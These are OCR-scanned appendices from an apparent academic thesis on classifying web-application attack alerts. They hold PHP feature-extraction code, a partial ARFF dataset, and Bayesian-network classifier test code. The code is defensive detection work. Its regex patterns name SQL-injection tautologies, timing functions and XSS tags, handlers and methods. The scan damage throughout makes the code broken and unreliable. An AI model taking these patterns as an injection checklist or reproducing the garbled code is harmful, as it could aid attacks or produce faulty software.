SELECT \|ROWNUM|INSERT +INTO|DELETE +FROM|
TABLESPACE | \@\@VERSION | table_name | column_name |
granted_role|(sys\..x(user|table|column) |
SELECT.*\ (.*\) |SELECT.+; |CREATE.+USER)@i', $c, $matches);
$retval += $r;

//keywords by themselves give too high FP-rate, but ended with comment

//sign much lower FP, and probably still a low FN

$r = preg_match_all('@(CREATE |EXEC[ \(]|GRANT |REVOKE |DROP |
COUNT ?\( |ALTER +TABLE|RENAME +(TABLE|INDEX) |GROUP BY |
VALUES\ ( |HAVING .{@,5} [=><] | TRUNCATE) .+(#|-—-];)@i"',
$c, $matches);

$retval += $r;

$r = preg_match_all('@, ?null ?,@i', $c, $matches);

$retval += $r;

return $retval;

} // end of method findSqlQueries()

private function findSqliTautologies($c) {
// pre: string is cleaned from tabs, newlines etc.
$retval = 0;
$matches = array();

$r = preg_match_all('@(\"') *(OR|AND|#|—-!>|;)@i', $c, $matches);

//e.g. 'OR 1=1; e.g. '#, exclude hmtml comment end ——>

if ($r > @) $_SESSION['debug'] .= "1st taut s1: ". $matches[0][0].
Il\nll;

$retval += $r;

$r = preg_match_all('@; *(#|--|/\*x)@', $c, $matches); //e.g. ;#

if ($r > @) $_SESSION['debug'] .= "1st taut s2: ". $matches[0][0].
Il\nll;

$retval += $r;

$r = preg_match_all('@([0-9]1{1,5}) ?I[<|>]1?= ?\1@', $c, $matches);

if ($r > @) $_SESSION['debug'] .= "1st taut s3: ". $matches[0][0].
Il\nll;

$retval += $r;

$r = preg_match_all('@([0-9a-zA-Z1{1,5})\"' ?[<|>1?= ?\'\1@', $c,
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$matches); //e.g. a'='a, as' <= 'as

if ($r > @) $_SESSION['debug'] .= "1st taut s3a: ". $matches[0] [0].
"\n";

$retval += $r;

$r = preg_match_all('@[ \'\)] *(OR|AND) *((pg_)?sleep\(]|
waitfor|benchmark\(|length\()@i', $c, $matches);

$retval += $r;

$r = preg_match_all('@[ \'\)] *(OR|AND)(.{2,10}[=><])@i', $c,
$matches); //e.g. 1) OR 2>1

if ($r > @) $_SESSION['debug'] .= "1st taut s4: ". $matches[0][0].
Il\nll;

$retval += $r;

//comment —- at the end of a parameter value

$r = preg_match_all('@—$@', $c, $matches);

if ($r > @) $_SESSION['debug'] .= "1st taut s5: ". $matches[0][0].
Il\nll;

$retval += $r;

//$_SESSION['debug'] .= "number tautologies found: ". $retval. "\n";

return $retval;
} // end of method findSqliTautologies()

private function findMalObjects($c) {
//pre: string is cleaned from tabs, newlines etc.
$retval = 0;
$dummy = array();
// look for DOM objects: Windows, Location, Document;
// DOM object properties: Cookie, Referrer, InnerHtml
$retval += preg_match_all('/Windows |Location|Document|Cookie|Referrer|
InnerHtml/i', $c, $dummy);
return $retval;
} // end of method findMalObjects()

private function findMalEventHandlers($c) {
//pre: string is cleaned from tabs, newlines etc.
$retval = 0;
$dummy = array();
//look for suspicious javascript eventhandlers:
//onmouseover, onclick, onload
$retval += preg_match_all('/onmouseover|onclick|onload/i', $c,
$dummy) ;
return $retval;
} // end of method findMalEventHandlers()

private function findMalMethods($c) {
//pre: string is cleaned from tabs, newlines etc.
$retval = 0;
$dummy = array();
//look for suspicious javascript methods: fromCharCode, alert, write,
//getElementsByTagName, eval
$retval += preg_match_all('/fromCharCode|alert|write\(|
getElementsByTagName|eval/i', $c, $dummy);
return $retval;
} // end of method findMalMethods()

private function findSuspXssPatterns(s$c) {
//pre: string is cleaned from tabs, newlines etc.
$retval = 0;
$dummy = array();
$c = preg_replace('/ /',"'',$c, -1, $count); //remove all spaces
//look for suspicious text patterns like: xss, <<, <'"<<, banking,
//hacker, evil
$retval += preg_match_all('/xss|<<|<.<|<..<|bank|hack|evil/i', $c,

76



Attack classification of web application alerts - Appendix B. Feature Extractor source code

$dummy) ;
$retval += preg_match_all('/<\!-—|-—>/"', $c, $dummy);
return $retval;
} // end of method findSuspXssPatterns()

private function findMalTags($c) {
//pre: string is cleaned from tabs, newlines etc.
$retval = 0;
$dummy = array();
// clean up some more
$c = preg_replace('/[ ;.,-\/\#E\'\"\x\\\?1/"', '', $c);
// look for html tags: <script>, <javascript>, <iframe>, <meta>, <div>
$retval += preg_match_all('/script|javascript|iframe|meta|<div/i', $c,
$dummy); // just 'div' gives false positives, use '<div'
//look for html tag properties: href, http-equiv, lowsrc
$retval += preg_match_all('/href|http-equiv|lowsrc/i', $c, $dummy);

return $retval;
} // end of method findMalTags()

{

private function cleanParameter($p)
*/[\n\r\t\v\e\f\a\bl/"',"",$p, -1, $count);

$cleanstring = preg_replace(
return $cleanstring;
} // end of method cleanParameter()

private function findHexcodedPrintable(&$p) {

$retval = 0;
$out = $p;
$count = 0;

// replace hex encoded characters in call-back function
$out = preg_replace_callback("'/([0\\\\]) (x) ([2-7][0-f]1)/",
"Extractor::HexDecode",$out, $limit = -1, $count);
if ($out != $p) {
$retval = strlen($p) - strlen($out);
$p = sout;

return $retval;
} // end of method findHexcodedPrintable()

private function findHtmlEntityCodes(&$p) {

$retval = 0;
$out = $p;
$temp = $p;
$count = 0;
do {

$temp = $out;

$out = html_entity_decode($temp, ENT_QUOTES);

// remove trailing zero's for decimal html entity codes;

// I've seen attacks and is not decoded otherwise

$out = preg_replace('/&#[0]1+/"',"'&#"',$0ut, $limit = -1, &$count);

$out = preg_replace('/(&#)([0-9]+)(;?)/"',"'$1$2;",$out, $limit = -1,
&count); //add ';' if not present;

// html encoded hex chars are not replaced by html_entity_decode so

// we'll do this ourselves.

$out = html_entity_decode($out, ENT_QUOTES); //try again

// remove trailing zero's for hex html entity codes

$out = preg_replace('/(&#x) ([0]1+) ([0-9A-Fa-f1{2})/"','$1$3"',$out);

// replace htmlhexencoded characters in call-back function

$out = preg_replace_callback('/(&#) (x) ([0-9A-Fa-f]1{2})(;?)/",
"Extractor::HexDecode",$out, $limit = -1, $count);

} while ($out != $temp);
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if ($out != $p) {
//take difference in length as count for html entity codes. Note
//that this is different (more) then the #entitycodes replaced.
$retval = strlen($p) - strlen($out);
//%$_SESSION['debug'] "BEFORE html_entity_decode: ". $p . "\n";
//%$_SESSION['debug'] "AFTER html_entity_decode: ". $out . "\n";

$p = Sout;

return $retval;
} // end of method findHtmlEntityCodes()

function HexDecode($s) {
//used as call back function in pregreplace to replace hexencoded
//characters
$r = chr(hexdec($s[31));
return $r;
} // end of callback function HexDecode()

private function findUnicode(&$p) {
$retval = 0;
$out = utf8_decode($p);
if ($out != $p) {
$retval = strlen($p) - strlen($out);
$p = $out;

return $retval;
} // end of method findUnicode()

private function findExtraUrlEncodings(&$p, $regmsg) {
$retval = 0;
$matches = array();
$found = preg_match_all("/[%] [0-9A-Fa-f1{2}/", $p, $matches);
if ( $found > 0) {
foreach ($matches[0] as $enc) {
$enc = trim($enc, "%");
$enc = intval($enc, 16);

if (strpbrk(chr($enc), 's<)(\'"/') != false) {
$retval++;
}
}
$p = urldecode($p);
}
return $retval;
} // end of method findExtraUrlEncodings()

private function findDoubleEncodings(&$p) {
$retval = 0;
$count = 0;
$p = str_replace("%25", "%", $p, $count);
while ($count > @) {
$retval+=$count;
$count = 0;
$p = str_replace("%25", "%", $p, $count);

return $retval;
} // end of method findDoubleEncodings

private function createArff() {
$this—>fnw = $this—>basearff . date('YmdHis') . preg_replace('@/@"',
"', $this—>basepars) . ".arff";
$this—>fhw = fopen($this->fnw, 'w') or die('Cannot open file:
$this—>fnw);
$data = "% Title: attack features dataset ". $basepars. "\n".
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7>

° o o°

\nlll
Creator:
"% Creation
Ilo/o\nll .

Casper Schellekens\n".
Date: " . date('D F j, Y H:i:s') . "\n".

"@RELATION all_attack_classes\n".

||\n||.
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE

urllength numeric\n".
urlencodingsextra numeric\n".
doubleencodings numeric\n".
unicode numeric\n".
htmlentitycodes numeric\n".
base64encodings numeric\n".
hexcodes numeric\n".
maxparamlength numeric\n".
maltags numeric\n".

susppatterns numeric\n".
malmethods numeric\n".
maleventhandlers numeric\n".
malobjects numeric\n".
httpversion {1.0, 1.1, other}\n".
statuscode numeric\n".
requestmethod {GET, POST, OPTIONS, HEAD, PUT,

DELETE, TRACE, CONNECT, PATCH, WebDAV, Invalid}\n".

"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE
"@ATTRIBUTE

tautologies numeric\n".

sqlqueries numeric\n".

sqlipatterns numeric\n".

nonprintable numeric\n".

pathtraversals numeric\n".

iphost {true, false}\n".

wronghost {true, false}\n".

nocrlfend {true, false}\n".

attackclass {xss, sqli, pathtraversal, scan,

other}\n".

Il\nll .
"@DATA\N";

fwrite($this—>fhw, $data);
fclose($this—>fhw);

} // end of method createArff()
} // end of class Extractor
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Appendix C. (partial) ARFF file data set

% Title: attack features dataset

%

% Creator: Casper Schellekens

% Creation Date: Fri October 25, 2013 13:04:34
%

@RELATION all_attack_classes

@ATTRIBUTE urllength numeric
@ATTRIBUTE urlencodingsextra numeric
@ATTRIBUTE doubleencodings numeric
@ATTRIBUTE unicode numeric
@ATTRIBUTE htmlentitycodes numeric
@ATTRIBUTE base64encodings numeric
@ATTRIBUTE hexcodes numeric
@ATTRIBUTE maxparamlength numeric
@ATTRIBUTE maltags numeric
@ATTRIBUTE susppatterns numeric
@ATTRIBUTE malmethods numeric
@ATTRIBUTE maleventhandlers numeric
@ATTRIBUTE malobjects numeric
@ATTRIBUTE httpversion {1.0, 1.1, other}
@ATTRIBUTE statuscode numeric
@ATTRIBUTE requestmethod {GET, POST, OPTIONS, HEAD, PUT, DELETE, TRACE, CONNECT, PATCH,
WebDAYV, Invalid}

@ATTRIBUTE tautologies numeric
@ATTRIBUTE sqlqueries numeric
@ATTRIBUTE sqlipatterns numeric
@ATTRIBUTE nonprintable numeric
@ATTRIBUTE pathtraversals numeric
@ATTRIBUTE iphost {true, false}
@ATTRIBUTE wronghost {true, false}
@ATTRIBUTE nocrlfend {true, false}
@ATTRIBUTE attackclass {xss, sqli, pathtraversal, scan, other}

@DATA

86,4,0,0,0,0,0,93,0,0,0,0,1,1.1,200,P0ST,0,0,0,0,0,false,false,false,sqli
87,121,11,0,0,0,0,72,22,4,0,0,70,1.1,200,P0ST,0,0,0,0,0,false,false,false,xss
74,1,6,0,0,0,0,93,0,0,0,0,0,1.1,200,GET,0,0,0,0,70,false,false,false,pathtraversal
224,0,0,0,52,0,0,184,2,2,0,0,0,1.1,200,GET,0,0,0,0,0,false,false, false,xss
90,4,0,0,0,0,0,93,0,0,0,0,1,1.1,200,P0ST,3,0,5,0,0,false false,false,sqli
12,0,0,0,0,0,0,0,0,0,0,0,0,1.0,404,GET,0,0,0,0,0,false,false,false,scan
97,0,0,0,0,0,0,397,0,0,0,0,0,1.1,404,P0OST,4,0,0,0,0,false,false,false,other
107,0,0,0,0,0,0,397,0,0,0,0,0,1.1,200,P0ST,4,0,0,0,0,false,false,false,other
1,0,0,0,0,0,0,0,0,0,0,0,0,1.0,301,GET,0,0,0,0,0,false,false,false,scan
1,0,0,0,0,0,0,11,0,0,0,0,0,1.1,400,GET,0,0,0,0,0,false,false,false,scan
35,0,0,0,0,0,0,84,0,0,0,0,0,1.1,200,GET,0,0,0,0,0,false,false,false,scan
27,0,0,0,0,0,0,18,0,0,0,0,0,1.1,404,P0OST,0,0,0,0,0,true,false,true,scan
27,0,0,0,0,0,0,119,0,0,0,0,15,1.1,200,GET,0,0,0,0,135,false,false,false,scan
67,2,0,0,0,0,0,121,4,0,2,0,5,1.1,200,GET,0,0,2,0,0,false,false,false,xss
67,2,0,0,0,0,0,222,4,0,2,0,5,1.1,200,GET,0,0,2,0,0,false,false,false,xss
67,12,0,0,0,0,0,99,7,0,3,0,10,1.1,304,GET,0,0,2,0,0,false,false,false,xss
89,17,0,0,0,0,0,222,8,0,4,0,8,1.1,200,GET,1,0,2,0,0,false,false,false,xss
89,40,0,0,0,0,0,120,14,0,7,0,16,1.1,304,GET,2,0,2,0,0,false,false,false,xss
80,21,0,0,0,0,0,121,10,0,5,0,9,1.1,200,GET,1,0,2,0,0,false,false,false,xss
88,30,0,0,0,0,0,222,14,0,7,0,11,1.1,200,GET,1,0,2,0,0,false,false,false,xss
92,69,0,0,0,0,0,120,26,0,13,0,22,1.1,304,GET,2,0,2,0,0,false,false,false,xss
69,0,0,0,0,0,0,106,0,0,0,0,0,1.1,200,GET,0,0,0,1,109,false,false,false,pathtraversal
73,0,0,0,0,0,0,106,0,0,0,0,0,1.1,200,GET,0,0,0,1,96,false,false,false,pathtraversal
74,0,0,0,0,0,0,106,0,0,0,0,0,1.1,200,GET,0,0,0,1,92,false,false,false,pathtraversal
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Appendix D. Bayesian Network source code

Home About

Test Dataset

Test Dataset

Extract Bayes Test

Navigation

Home
Extract Features

Bayesian network

Debug info: Test dataset
1688 id:28877 C=pt G:other + probs: 0.000 0.000 0.192 0.007 0.800 unsure on classification
1689 id:28878 C=pt G:other + probs: 0.000 0.000 0.192 0.007 0.800 unsure on classification Account
1690 id:28879 C=pt G:pt probs: 0.000 0.000 0.929 0.000 0.069 66,0,0,0,106,0,0,0,0,1.1,200,0,0,94,pathtraversal
1691 id:28880 C=pt G:pt probs: 0.000 0.000 0.910 0.000 0.089 120,0,0,0,106,0,0,0,0,1.1,200,0,0,72,pathtraversal . .
Login/Register
Total number of instances: 1691 Logout
Correctly Classified Instances: 1522 90.01%
Incorrectly Classified Instances: 14 0.83%
TP-rate FP-rate xss sqli ptscan other
xss: 0.996 0.000 1229 4 0 0 O
sqli: 1.000 0.002 01220 0 O
pt: 0.993 0.000 0 0146 0 1
scan: 0.692 0.000 0O 0 0 18 8
other: 0.875 0.005 0o 1.0 0 7
w.avg:0.9 0.001
events below threshold: 155 of which correct: 70 and incorrect: 85
Figure. User interface of the Test Dataset tool
Class_testdataset.php:
<?php
session_start();
class TestDataSet {
// property declarations
private $base = 'arff/';
private $fnr; // file names for bayes network model file to read
private $fhr; // file handle
private $filename = '20131025_ds2_setld.arff';
private $BN;
//constructor
function __construct(s$bn) {
$this—>BN = $bn;

//test with realistic population shares
$this—>BN[@]->popshare[1l]= "0.14";
$this—>BN[@]-—>popshare[2]= "0.27";
$this—>BN[@]->popshare[3]= "0.36";
$this—->BN[0]->popshare[4]= "0.115";
$this—>BN[@]->popshare[5]= "0.115";

}

// method implementations

public f

unction Test() {

//set_time_1limit(0);
$values = array()

$matc

$inco

)
$correct = array();
y

hes = array(

’

rrect = array();

$correct[total] = 0;

$correctlxss] = 0;
$correct[sqli] =
$correct([pt] = 0;
$correct[scan] =
$correct[other]

$inco

0;
0;
0;

rrect[totall 0;
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$in
$in
$in
$in
$in
$th
$un
$un

for
for
for
for
for

correct[xss] = 0;
correct[sqlil = 0;
correct[pt] = 0;
correct[scan] = 0;
correct[other] = 0;

reshold = 0.9; // lucky guess threshold
surelcorrect] = 0;
surel[incorrect] = 0;

($1=1;$i<=5;%$i++) $guesses['xss'][$i] = 0
($1=1;$i<=5;$i++) $guesses['sqli'][$i] =
($1=1;$i<=5;$i++) $quesses['pt']l[$i] = 0;
($1=1;$i<=5;%$i++) $guesses['scan']l[$i] = 0;
($1=1;$i<=5;$i++) $guesses['other'][$i] = 0;

0;

date_default_timezone_set('Europe/Amsterdam');

$_S
$_S

$th

whi

ESSION['debug3'] .= "Test() started at ". date('H:i:s') . "\n";
ESSION['debug3'] .= "php version: " . phpversion() . "\n";

is—>fhr = fopen($this—>base.$this->filename, "r") or
die("cannot open file: " . $f);
le (!feof($this—>fhr)) {
$line = fgets($this->fhr);
if (preg_match('$~@DATAS$', $line) == 1){
//read data and calculate best guess
$inst = 0;
$line = fgets($this->Fhr);
while (!feof($this—>fhr)) {
$inst++;
$line2 = fgets($this—>fhr); //get comment line with alert id
preg_match('@% (.+)@', $line2, $matches2);
$alertid = $matches2[1];
if (preg_match('$"%$', $line) == 0 && !feof($this->fhr)) {
preg_match_all('@a(.+?),@', $line, $matches,
PREG_SET_ORDER) ;
$i=1;
foreach ($matches as $m) {
$values[$i] = $m[1];
$i++;
}
preg_match_all('@(.+?)(,|$)@', $line, $matches,
PREG_SET_ORDER) ;
foreach ($matches as $m) {
$class = $m[1];

$i++;
}
if ($class == 'pathtraversal') $class = 'pt';
for ($s=0;$s<4-strlen($inst);$s++)
$_SESSION['debug3'] .= " ";
$_SESSION['debug3'] .= $inst. " id:". $alertid. " C=".
$class;

$g = self::CalculateProbabilities($values, $class);
$guess = $glattackclass];
if (round($glcertaintyl],2) <= $threshold) {
if ($class == $guess) $unsurel[correct]++;
else $unsurelincorrect]++;
$_SESSION['debug3'] .=
" unsure on classification\n";

}
else {
$_SESSION['debug3'] .= " ", $line;
if ($class == $guess) $correct[totall++;
else $incorrect[total]l++;
if ($class == 'xss') {
if ($class == $guess) $correct['xss']++;

else $incorrect['xss']++;
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switch ($guess) {

case '"'xss'":
$guesses['xss'] [1]++;
break;

case "sqli":
$guesses['xss'] [2]++;
$fpl'sqli']l++;
break;

case "pt":
$guesses['xss'] [3]++;
$fpl'pt']++;
break;

case "scan":
$guesses['xss'] [4]++;
$fpl'scan']++;
break;

case "other":
$guesses['xss'] [5]++;
$fpl'other']++;

break;
}
}
if ($class == 'sqli') {
if ($class == $guess) $correct['sqli']++;
else $incorrect['sqli']++;
switch ($guess) {
case '"'xss":
$guesses['sqli'] [1]++;
$fpl'xss'1++;
break;
case "sqli":
$guesses['sqli'] [2]++;
break;
case "pt":
$guesses['sqli'] [3]++;
$fpl'pt']++;
break;
case "scan":
$guesses['sqli'] [4]++;
$fpl'scan']++;
break;
case "other":
$guesses['sqli'] [5]++;
$fpl'other']++;
break;
}
}
if ($class == 'pt') {
if ($class == $guess) $correct['pt']l++;

else $incorrect['pt']++;

switch ($guess) {

case '"'xss'":
$guesses['pt'][1]++;
$fpl'xss'1++;
break;

case "sqli":
$guesses['pt'] [2]++;
$fpl'sqli']l++;
break;

case "pt":
$guesses['pt'][3]++;
break;

case '"scan":
$guesses['pt'] [4]++;
$fpl'scan']++;
break;
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case "other":
$guesses['pt'] [5]++;
$fp['other']l++;

break;
}
}
if ($class == 'scan') {
if ($class == $guess) $correct['scan']++;
else $incorrect['scan'l++;
switch ($guess) {
case '"'xss":
$guesses['scan'] [1]++;
$fpl'xss'1++;
break;
case "sqli":
$guesses['scan'] [2]++;
$Tpl'sqli']++;
break;
case "pt":
$guesses['scan'] [3]++;
$Tpl'pt'l++;
break;
case "'scan":
$guesses['scan'] [4]++;
break;
case "other":
$guesses['scan'] [5]++;
$fpl'other']++;
break;
}
}
if ($class == 'other') {
if ($class == $guess) $correct['other']++;
else $incorrect['other']++;
switch ($guess) {
case '"'xss":
$guesses['other'] [1]++;
$fpl'xss'1++;
break;
case "sqli":
$guesses['other'] [2]+4+;
$Tpl'sqli']++;
break;
case "pt":
$guesses['other'] [3]1++;
$Tpl'pt'l++;
break;
case "'scan":
$guesses['other'] [4]++;
$fpl'scan']++;
break;
case "other":
$guesses['other'] [5]++;
break;
}
}
}
$line = fgets($this—>fhr);
b
}
}
}
$_SESSION['debug3']l .= "\n\nTotal number of instances: " . $inst .
Il\nll;
$_SESSION['debug3'] .= "Correctly Classified Instances: ".
$correct[total] . " ",
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round($correct[totall/$inst*100, 2) ."%\n";
$_SESSION['debug3'] .= "Incorrectly Classified Instances: .

$incorrect[total] . " ".

round($incorrect[totall /$inst*x100, 2) ."%\n";

$_SESSION['debug3'] .= "\n";
$_SESSION['debug3'] .= " TP-rate FP-rate “,
“xss sqli pt scan other\n";
$_SESSION['debug3']l .= " xss: " .
bcdiv($correct['xss'], ($correct['xss']l+$incorrect['xss'l),3);

$_SESSION['debug3']l .= " " . bcdiv($fpl['xss']l,$inst,3). " ";
for ($i=1;%$i<=5;%$i++) $_SESSION['debug3'] .= " ",
$guesses['xss'][$i];
$_SESSION['debug3'l .= "\n";
$_SESSION['debug3'l] .= " sqli: " .
bcdiv($correct['sqli'],
($correct['sqli'l+$incorrect['sqli'l),3);
$_SESSION['debug3'l .= " " . bcdiv($fpl[’ sqll ] $1nst 3). " ";
for ($i=1;%$i<=5;%$i++) $_SESSION['debug3'] .= " .
$guesses['sqli'][$i];
$_SESSION['debug3'] "\n";
$_SESSION['debug3"'] " pt: " .
bcdiv($correct['pt'], ($correct['pt']l+$incorrect['pt']),3);
$_SESSION['debug3'] .= " " . bcdiv($fpl['pt'], $1nst 3). " ";
for ($i=1;%$i<=5;%$i++) $_SESSION['debug3'] .= "
$guesses|['pt'1[$il;
$_SESSION['debug3'] "\n";
$_SESSION['debug3'] " scan: " .
bcdiv($correct['scan'],
($correct['scan']+$incorrect['scan']), )
$_SESSION['debug3'] .= " " . bcdiv($fp['scan'], $1nst 3). " "
for ($i=1;%$i<=5;%$i++) $_SESSION['debug3'] .= "
$guesses['scan'][$il;
$_SESSION['debug3'] "\n";
$_SESSION['debug3'] "other: " .
bcdiv($correct(['other'],
($correct['other']+$incorrect['other']),3);
$_SESSION['debug3']l .= " " . bcdiv($fpl’ other 1, $1nst 3). "
for ($i=1;%$i<=5;%$i++) $_SESSION['debug3'] .= " .
$guesses|['other'] [$i];
$_SESSION['debug3'l .= "\n";

$wfp = bemul($fp['xss'],$this—>BN[@]->popshare[1], 10);
$wfp += bemul($fpl’ sqll 1,$this—>BN[0]- >popshare[2] 10);
$wfp += bcmul($fp['pt'], $thls ->BN[0]->popshare[3], 10);
$wfp += bcmu1($fp['scan'] $this—>BN[@]->popshare[4], 10);
$wfp += bemul($fp['other'], $this—>BN[0]->popshare[5], 10);

$wfp = bcdiv($wfp,$inst,3);

$_SESSION['debug3'] .= "w.avg:" . round($correct[totall/$inst, 3)
11} 1 . $Wfp . Il\nll;

$unsure[total] = $unsurelcorrect] + $unsurelincorrect];

$_SESSION['debug3'] .= "events below threshold: ". $unsure[totall;
$_SESSION['debug3'] .= " of which correct: " . $unsurelcorrect].

" and incorrect: " . $unsurelincorrect];
$_SESSION['debug3']l .= "\n";

fclose($this—>fhr);
return $retval;
} // end of method readParsFile()

private function CalculateProbabilities($values, $C){
//$type; //type of value integer or string
$guess = array();
$pexss = self::CalcECXss($values, $C);
$pesqli = self::CalcECSqli($values, $C);
$denom = bcadd($pexss, $pesqli, 50);
$pept = self::CalcECPt($values, $C);
$denom = bcadd($denom, $pept, 50);
$pescan = self::CalcECScan($values, $C);
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$denom = bcadd($denom, $pescan, 50);
$peother = self::CalcECOther($values, $C);
$denom = bcadd($denom, $peother, 50);
if (floatval($denom) <= 0) {
$_SESSION['debug3'] .=
"DENOMINATOR ZERO?! values of parts denominator:\n";
$_SESSION['debug3'] .=
$pexss.''\n".$pesqli."\n".$pept."\n".$pescan."\n".
$peother."\n";

}
else {
$pxsse = bcdiv($pexss, $denom, 3);
$psqlie = bcdiv($pesqli, $denom, 3);
$ppte = bcdiv($pept, $denom, 3);
$pscane = bcdiv($pescan, $denom, 3);
$pothere = bcdiv($peother, $denom, 3);
$guess [attackclass] = 'xss';
$highest = $pxsse;
if ($psqlie > $highest){
$highest = $psqlie;
$guess[attackclass] = 'sqli';
}
if ($ppte > $highest){
$highest = $ppte;
$guess[attackclass] = 'pt';
}
if ($pscane > $highest){
$highest = $pscane;
$guess[attackclass] = 'scan';
}
if ($pothere > $highest){
$highest = $pothere;
$guess[attackclass] = 'other';
}
$guess[certainty] = $highest;
$_SESSION['debug3'] .= " G:". $guess[attackclass];
for ($s=0;%$s<10-strlen($C.$quess[attackclass]);$s++)
$_SESSION['debug3'] .= " ";
if ($guess[attackclass] != $C) $_SESSION['debug3'] .= "+";
else $_SESSION['debug3'l .=" ";
$_SESSION['debug3']l .= " probs: ". $pxsse . " " . $psqlie . "
$ppte . " " . $pscane . " " . $pothere;
}

return $guess;

}

private function CalcECXss($values, $class) {
// calculate P(event|xss)*P(xss)

$ni = 0;

$p; //probability

$p_fs_xss = '1";

foreach ($values as $v) {

$ni++;

if ($v === '1.0' || $v === '1.1') ;

else if ($v === '1' || $v === '0') $v = intval($v);
else if (intval($v) > @) $v = intval($v);

if (is_int($v)) {

if ($this—>BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$ni]->xss[1];
else {
for ($c=1;%$c<=$this—>BN[$ni]l->columns; $c++){
if ($this—>BN[$nil->rangestart[$c] == 'inf') {

if ($v <= $this->BN[$nil->rangeend[$c]) {
$p = $this—->BN[$ni]->xss[$c];
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}
else if ($this—>BN[$nil->rangeend[$c] == 'inf') {
if ($v > $this->BN[$nil->rangestart[$c]) {
$p = $this—>BN[$ni]->xss[$c];
}
else {
if (($v <= $this—>BN[$ni]l->rangeend[$c]) &&
($v > $this—>BN[$nil->rangestart[$c])) {
$p = $this—>BN[$ni]->xss[$c];
}
}
b
}
}
else {
// value is not numeric so must fall in named category tablecolumn
// in PDT
if ($this->BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$ni]->xss[1];
else {
for ($c=1;$c<=$this—>BN[$nil->columns; $c++){
if ($this—>BN[$nil->rangestart[$c] === $v) {
$p = $this—>BN[$ni]—->xss[$c];
$c = $this—>BN[$ni]l->columns + 1;
}
b
}
}

if (bccomp('Q', bcmul($p_fs_xss, $p, 50), 50) == 0){
$_SESSION['debug3']l .= "bcmul=0 found mul was: ".$p_fs_xss .
1 $p=l . $p. Il\nll;
$_SESSION['debug3'] .= "value: " . $v . " prev collxss: ".
$this—>BN[$ni-1]->xss[1]."\n";

}
$p_Fs_xss = bcmul($p_Fs_xss, $p, 50);
if (bccomp('Q', $p_fs_xss, 50) == 0) $_SESSION['debug3'] .=

"P()=0 found on value ".$v." node:".$ni."\n";
}
$p_fs_xss = becmul($p_fs_xss, $this—>BN[@]->popshare[1l], 50);
return $p_fs_xss;

} //end of funtion CalcECXss()

private function CalcECSqli($values, $class) {
// calculate P(event|sqli)xP(sqli)

$ni = 0;

$p; //probability

$p_fs_sqli = '1';

foreach ($values as $v) {

$ni++;

if ($v === '1.0' || $v === '1.1') ;

else if ($v === '1' || $v === '0') $v = intval($v);
else if (intval($v) > @) $v = intval($v);

if (is_int($v)) {

if ($this—>BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$ni]->sqli[1];
else {
for ($c=1;%$c<=$this—>BN[$nil->columns; $c++){
if ($this—>BN[$nil->rangestart[$c] == 'inf') {

if ($v <= $this—>BN[$ni]->rangeend[$c])
$p = $this—>BN[$ni]l->sqlil[$c];

else if ($this—>BN[$nil->rangeend[$c] == 'inf') {
if ($v > $this—>BN[$ni]->rangestart[$c])
$p = $this—>BN[$ni]->sqli[$c];
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}
else {
if ($v <= $this—>BN[$ni]->rangeend[$c] &&
$v > $this->BN[$nil->rangestart[$c])
$p = $this—>BN[$ni]->sqli[$c];

}
}
}
else {
// value is not numeric so must fall in named category
// tablecolumn in PDT
if ($this—>BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$ni]->sqli[1];
else {
for ($c=1;%$c<=$this—>BN[$nil->columns; $c++){
if ($this->BN[$ni]->rangestart[$c] === $v)
$p = $this->BN[$nil->sqlil$c];

{

b
}
}
$p_fs_sqli = bemul($p_fs_sqli, $p, 50);

$p_fs_sqli = bemul($p_fs_sqli, $this—>BN[0]->popshare[2], 50);
return $p_fs_sqli;
} //end of funtion CalcECSqli()

private function CalcECPt($values, $class) {
// calculate P(event|pt)*P(pt)

$ni = 0;

$p; //probability

$p_fs_pt = '1";

foreach ($values as $v) {

$ni++;
if ($v === '1.0' || $v === '1.1') ;
else if ($v === '1' || $v === '0') $v = intval($v);
else if (intval($v) > @) $v = intval($v);
if (is_int($v)) {
if ($this—>BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$nil—>pt[1];
else {
for ($c=1;%$c<=$this—>BN[$nil->columns; $c++){
if ($this—>BN[$nil->rangestart[$c] == 'inf') {
if ($v <= $this—>BN[$ni]->rangeend[$c])
$p = $this—>BN[$ni]->pt[$c];
else if ($this—>BN[$nil->rangeend[$c] == 'inf') {
if ($v > $this—->BN[$nil->rangestart[$c])
$p = $this—>BN[$nil->pt[s$c];
else {
if ($v <= $this—>BN[$nil->rangeend[$c] &&
$v > $this—>BN[$ni]->rangestart[$c])
$p = $this—>BN[$ni]->pt[$c];
}
}
}
else {
// value is not numeric so must fall in named category tablecolumn
// in PDT
if ($this—>BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$nil—>pt[1];
else {

for ($c=1;%$c<=$this—>BN[$ni]->columns; $c++){
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if ($this—>BN[$nil->rangestart[$c] === $v) {
$p = $this—>BN[$nil—->pt[$c];

b
}
}
$p_fs_pt = becmul($p_fs_pt, $p, 50);
$p_fs_pt = becmul($p_fs_pt, $this->BN[@]->popshare[3], 50);
//$_SESSION['debug3']l .= "\n";

return $p_fs_pt;
} //end of funtion CalcECPt()

private function CalcECScan($values, $class) {
// calculate P(event|scan)xP(scan)

$ni = 0;

$p; //probability

$p_fs_scan = '1';

foreach ($values as $v) {

$ni++;
if ($v === '1.0' || $v === '1.1') ;
else if ($v === '1' || $v === '0') $v = intval($v);
else if (intval($v) > @) $v = intval($v);
if (is_int($v)) {
if ($this—>BN[$nil->rangestart[1] == 'all')
$p = $this—>BN[$nil->scan[1];
else {
for ($c=1;%$c<=$this—>BN[$nil->columns; $c++){
if ($this—>BN[$nil->rangestart[$c] == 'inf') {
if ($v <= $this->BN[$ni]->rangeend[$c])
$p = $this—>BN[$ni]->scan[$cl;
}
